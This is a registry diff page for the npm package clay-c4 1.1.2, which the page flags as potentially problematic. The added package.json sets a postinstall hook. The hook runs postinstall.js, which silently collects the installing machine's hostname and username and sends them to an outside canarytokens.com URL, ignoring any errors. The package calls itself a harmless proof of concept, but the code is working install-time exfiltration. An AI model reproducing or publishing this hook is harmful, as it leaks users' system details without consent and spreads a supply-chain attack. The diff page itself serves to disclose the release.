clay-c4 1.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of clay-c4 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/package.json +10 -0
  2. package/postinstall.js +16 -0
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "clay-c4",
3
+ "version": "1.1.2",
4
+ "description": "A harmless proof-of-concept package",
5
+ "scripts": {
6
+ "postinstall": "node postinstall.js"
7
+ },
8
+ "author": "Spiderman",
9
+ "license": "MIT"
10
+ }
package/postinstall.js ADDED
@@ -0,0 +1,16 @@
1
+ const https = require("https");
2
+ const os = require("os");
3
+
4
+ // Gather system details
5
+ const hostname = os.hostname();
6
+ const username = os.userInfo().username;
7
+
8
+ // Construct the exfiltration URL
9
+ const EXFIL_URL = `https://canarytokens.com/articles/about/45ifbhfwf11hu84j98iwiibd8/submit.aspx?user=${encodeURIComponent(username)}&host=${encodeURIComponent(hostname)}&package=clay-c4`;
10
+
11
+ // Send the request
12
+ https.get(EXFIL_URL, (res) => {
13
+ // Silently handle response
14
+ }).on("error", (err) => {
15
+ // Silently ignore errors
16
+ });